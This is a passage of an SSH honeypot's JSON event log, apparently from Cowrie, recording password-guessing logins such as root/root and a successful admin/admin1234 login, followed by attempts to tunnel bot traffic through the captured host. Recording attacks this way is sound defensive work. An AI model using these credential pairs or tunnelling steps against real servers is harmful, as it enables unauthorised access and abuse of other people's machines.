,"ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:42.467646Z","src_ip":"45.153.34.195","session":"471d2a84506b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seed","password":"seed","message":"login attempt [seed/seed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:42.919825Z","src_ip":"45.153.34.195","session":"471d2a84506b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:44.009477Z","src_ip":"91.92.40.36","session":"74180bcf9fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:44.012873Z","src_ip":"91.92.40.36","session":"74180bcf9fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:44.622841Z","src_ip":"45.153.34.195","session":"471d2a84506b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":30602,"dst_ip":"10.17.0.5","dst_port":22,"session":"f617ede61cf4","protocol":"ssh","message":"New connection: 45.153.34.195:30602 (10.17.0.5:22) [session: f617ede61cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:45.256439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:45.264364Z","src_ip":"45.153.34.195","session":"f617ede61cf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":51764,"dst_ip":"10.17.0.5","dst_port":22,"session":"492b9491694b","protocol":"ssh","message":"New connection: 113.164.152.20:51764 (10.17.0.5:22) [session: 492b9491694b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:45.327580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:45.333173Z","src_ip":"113.164.152.20","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:45.617334Z","src_ip":"113.164.152.20","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:45.742397Z","src_ip":"45.153.34.195","session":"f617ede61cf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50946,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7042ab4ee9a","protocol":"ssh","message":"New connection: 91.92.40.36:50946 (159.203.135.109:22) [session: b7042ab4ee9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:45.748816Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:46.598938Z","src_ip":"45.153.34.195","session":"f617ede61cf4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:46.915414Z","src_ip":"113.164.152.20","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:47.342697Z","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:47.480330Z","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.3","message":"Connection lost after 28.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:47.558442Z","src_ip":"91.92.40.36","session":"102377a1aaf3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:47.626437Z","src_ip":"113.164.152.20","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; X50) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Kip1SEVMJkROOHQjaE9WQQ%3D%3DHCKcGWwS71Nc983bc2Yo1KBRdf8RVcjT86TF6zckXMUaV56OpQjorvURDTzgy60SNRC3KZg2owX8OVIM2%2BQe5fZD8qAboudf67mA8LC5an%2BUbct4M8bcGAzHp2WPz44qEXoKo216lEof%2F5SujY1N9HEwDSeG6FCYXhFUncI8xNpWNIA6Q9gvdpM52xepEiEn%2F6wRLpMSvK9h37iyyflMFkoZzc9Dv0p9FH69Y%2B03R%2BpBqsb%2FztiENZZWBSj4tJfgZ%2BBCXqKUXphRSOMtzgKwdwN8%2Frj333kkhAt2v9jm5u56pRC0b9xCz%2BN6yblgrGBp2oEzWoKr0eDXuDWhrkRHP7eSHPv3DdadUT0N1Jf0rErn7JDyoqMjx0dWPm64pHtnMculXRuNe1AjzsrTm94dcABGqmDRJZmZoesnUu2xM0O14hJHZRd5bmrvlebXs7s7Fkgbs9MswvmZ5Iw82EgMEsVS4QAfGKIqS19PXxGyOVrdiTQGlDJIlV5aLRg3JhIEF2pkmDfEx5Ordrvb6h2ehq%2BKrGWVUVIjiilnJE1AxC6OeG8lQ5F3%2BZUh9OC2xr8oDgzlzJW%2FGFpaC6Qu0ehV8nIa%2FZPkGlabQbi%2B%2B5IuHUrH7UN1mx2I%2BhTEIUPJe7goevSwFe%2B1YZzbKd6ZDaZHY6mTszHp3tAxQ8mnetmqtl2uTSB1LHjc1949NrtmDcVHl7fjynbZ7pUFtNy8PD1%2Fe3nsPvQhkssTDYAZdA497uIniAXJG%2Fb5BmfVtcHQJ1z5xrRppqvyQKppaCiQuvl18K51qryltQMzCMXvo4HI%2BT66q9OpW05NDkiGut3gHbzC91cdwLCa81bYjTDmzFUc%2BUAMOQlBahSwcKwMOjBdKeI6G5oX1Ryo7fpmFHkLNet1MFgHA%2FW1lRSg0CHMfNY%2FiADadJPx77yQygI8JlRyO76xVk70tJ%2BsTWbmyWVJvt6JGu%2FEy7AyPERJCsS5A6%2B73dopfNdgi6Z0di94MCg1G2LEdnQv01e%2FX6UZbT%2BKWMzAvgJJ6Qf2xcoccdZEaieeSbrVUfMpxUxj3GEayJdBjm882VkTx0buGA19f9oyj9CP'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; X50) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Kip1SEVMJkROOHQjaE9WQQ%3D%3DHCKcGWwS71Nc983bc2Yo1KBRdf8RVcjT86TF6zckXMUaV56OpQjorvURDTzgy60SNRC3KZg2owX8OVIM2%2BQe5fZD8qAboudf67mA8LC5an%2BUbct4M8bcGAzHp2WPz44qEXoKo216lEof%2F5SujY1N9HEwDSeG6FCYXhFUncI8xNpWNIA6Q9gvdpM52xepEiEn%2F6wRLpMSvK9h37iyyflMFkoZzc9Dv0p9FH69Y%2B03R%2BpBqsb%2FztiENZZWBSj4tJfgZ%2BBCXqKUXphRSOMtzgKwdwN8%2Frj333kkhAt2v9jm5u56pRC0b9xCz%2BN6yblgrGBp2oEzWoKr0eDXuDWhrkRHP7eSHPv3DdadUT0N1Jf0rErn7JDyoqMjx0dWPm64pHtnMculXRuNe1AjzsrTm94dcABGqmDRJZmZoesnUu2xM0O14hJHZRd5bmrvlebXs7s7Fkgbs9MswvmZ5Iw82EgMEsVS4QAfGKIqS19PXxGyOVrdiTQGlDJIlV5aLRg3JhIEF2pkmDfEx5Ordrvb6h2ehq%2BKrGWVUVIjiilnJE1AxC6OeG8lQ5F3%2BZUh9OC2xr8oDgzlzJW%2FGFpaC6Qu0ehV8nIa%2FZPkGlabQbi%2B%2B5IuHUrH7UN1mx2I%2BhTEIUPJe7goevSwFe%2B1YZzbKd6ZDaZHY6mTszHp3tAxQ8mnetmqtl2uTSB1LHjc1949NrtmDcVHl7fjynbZ7pUFtNy8PD1%2Fe3nsPvQhkssTDYAZdA497uIniAXJG%2Fb5BmfVtcHQJ1z5xrRppqvyQKppaCiQuvl18K51qryltQMzCMXvo4HI%2BT66q9OpW05NDkiGut3gHbzC91cdwLCa81bYjTDmzFUc%2BUAMOQlBahSwcKwMOjBdKeI6G5oX1Ryo7fpmFHkLNet1MFgHA%2FW1lRSg0CHMfNY%2FiADadJPx77yQygI8JlRyO76xVk70tJ%2BsTWbmyWVJvt6JGu%2FEy7AyPERJCsS5A6%2B73dopfNdgi6Z0di94MCg1G2LEdnQv01e%2FX6UZbT%2BKWMzAvgJJ6Qf2xcoccdZEaieeSbrVUfMpxUxj3GEayJdBjm882VkTx0buGA19f9oyj9CP'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:47.629452Z","src_ip":"113.164.152.20","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:47.903406Z","src_ip":"113.164.152.20","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c\\xeb\\xb6\\x1f\\xa2\\x02\\x80\\xcb\\xd6&4\\xc3p\\xcc)\\x025wSB\\x9d\\xf2y\\x9cR\\x94\\xb5e\\xad\\x8d\\x7f\\xd3 \\xdd\\xc0Y\\x7f\\x98)\\xff\\x9a}[,\\\\80R(\\xdfO\\x13\"\\x1c\\x8b\\xf7R\\xfbo\\xe9/\\x89<\\xcf\\xca\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 iF\\xb7\\xef\\x99\\xa5\\xf2~>r\\x1cp%\\x02\\x96\\xb5\\xaa\\x14\\x8a\\n\\xa5=\\xc09m\\xdf\\x89H\\xfa\\xdd\\xcbX\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c\\xeb\\xb6\\x1f\\xa2\\x02\\x80\\xcb\\xd6&4\\xc3p\\xcc)\\x025wSB\\x9d\\xf2y\\x9cR\\x94\\xb5e\\xad\\x8d\\x7f\\xd3 \\xdd\\xc0Y\\x7f\\x98)\\xff\\x9a}[,\\\\80R(\\xdfO\\x13\"\\x1c\\x8b\\xf7R\\xfbo\\xe9/\\x89<\\xcf\\xca\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 iF\\xb7\\xef\\x99\\xa5\\xf2~>r\\x1cp%\\x02\\x96\\xb5\\xaa\\x14\\x8a\\n\\xa5=\\xc09m\\xdf\\x89H\\xfa\\xdd\\xcbX\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:47.906619Z","src_ip":"113.164.152.20","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:47.982839Z","src_ip":"45.153.34.195","session":"f617ede61cf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":30612,"dst_ip":"10.17.0.5","dst_port":22,"session":"5486fcf3b193","protocol":"ssh","message":"New connection: 45.153.34.195:30612 (10.17.0.5:22) [session: 5486fcf3b193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:48.306437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:48.319540Z","src_ip":"45.153.34.195","session":"5486fcf3b193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 